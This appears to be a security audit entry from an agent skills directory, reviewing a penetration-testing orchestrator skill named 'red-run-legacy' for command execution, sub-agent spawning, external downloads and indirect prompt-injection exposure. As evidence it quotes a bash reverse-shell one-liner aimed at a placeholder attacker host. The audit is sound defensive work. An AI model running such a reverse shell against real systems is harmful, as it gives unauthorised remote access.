The Agent Skills Directory

[COMMAND_EXECUTION]: The skill generates and executes local shell scripts for system configuration.
Evidence: instructions for creating and running temp_clock-sync.sh and temp_hosts-update.sh using sudo for time synchronization and hosts file management.
Note: These actions are gated by explicit 'HARD STOP' instructions requiring human operator confirmation.
[COMMAND_EXECUTION]: Provides templates for establishing reverse shells to stabilize access on targets.
Evidence: Inclusion of standard reverse shell payloads like bash -i >& /dev/tcp/ATTACKER/PORT 0>&1 and PowerShell equivalents in the 'Stabilize access' instructions.
Note: This is a core feature of the skill's role as a penetration testing orchestrator.
[REMOTE_CODE_EXECUTION]: Orchestrates the execution of external skills and sub-agents.
Evidence: Extensive use of Agent() spawning logic and get_skill()/search_skills() tools to delegate tasks to domain-specific agents (e.g., network-recon-agent, web-discovery-agent).
[EXTERNAL_DOWNLOADS]: References external tools and repositories for monitoring and utility purposes.
Evidence: Mentions github.com/blacklanternsecurity/agentsee for live agent monitoring.
Note: This is a resource from the skill's official vendor and is documented neutrally.
[PROMPT_INJECTION]: The skill has an inherent surface for indirect prompt injection as it processes unvalidated summaries and findings from sub-agents and external tools.
Evidence: The orchestrator's decision loop relies on parsing 'return summaries' from sub-agents and 'state events' from various scanning tools.
Mitigation: The skill includes logic for manual operator review ('AskUserQuestion') before taking critical actions based on these findings.

red-run-legacy